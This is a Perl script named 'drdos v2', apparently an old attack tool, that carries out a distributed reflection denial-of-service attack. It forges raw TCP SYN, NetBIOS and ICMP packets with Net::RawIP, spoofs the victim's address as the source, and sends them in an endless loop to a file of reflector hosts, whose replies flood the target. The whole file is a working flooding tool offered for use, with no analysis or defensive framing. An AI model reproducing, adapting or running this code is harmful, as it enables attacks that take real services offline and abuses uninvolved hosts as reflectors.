#!/usr/bin/perl
#

require 'getopts.pl';
use Net::RawIP;
Getopts('a:f:t:w:');

#usage
die
"drdos v2 <gml\@phelony.net>\nUsage $0 -a <attack type> -f <reflectors> -t <target> -w <weight>\nAttack Types:\nnbt\tnetbios\ntcp\tsyn attack\nicmp\tuseless icmp attack\ndns\tdns attack\n"
  unless ( $opt_a && $opt_f && $opt_t && $opt_w );

#open reflectors file
open FILE, "<$opt_f";
@refl = <FILE>;
close FILE;

#give arguments canonical names
$target = $opt_t;
$weight = $opt_w;
$attack = $opt_a;

#formulate packet
if ( $attack =~ "tcp" ) {
    $packet = new Net::RawIP( { tcp => {} } );
    $packet->set(
      {
          tcp => {
              dest   => 80,
              source => 80,
              syn    => 1
          }
      }
    );
}

if ( $attack =~ "nbt" ) {
    $packet = new Net::RawIP( { udp => {} } );
    $packet->set(
      {
          udp => {
              source => 137,
              dest   => 137,
              data   =>
"\x37\x92\x00\x80\x00\x01\x00\x00\x00\x00\x00\x00\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x21\x00\x01"
          }
      }
    );
}

if ( $attack =~ "icmp" ) {
    $packet = new Net::RawIP( { icmp => {} } );
    $packet->set(
      {
          icmp => {
              type     => 8,
              id       => $$,
              sequence => $$,
              data     => timem()
          }
      }
    );
}

if ( $attack =~ "dns" ) {
    $packet = new Net::RawIP( { udp => {} } );
    $packet->set(
      {
          udp => {
              source => 53,
              dest   => 53,
              data   => 0
          }
      }
    );
    print "dns attack not yet implemented\n";
    exit;
}

#identify ourself and attack type
print "Distributed Reflection Denial of Service [$attack]\n";
print "Attacking: $target\n";
print "Control-C to abort\n";

#send packets
for ( ; ; ) {
    foreach $ip (@refl) {
        chomp $ip;
        $packet->set(
          {
              ip => {
                  saddr => $target,
                  daddr => $ip

              }
          }
        );
        $packet->send( 0, $weight );
    }

}

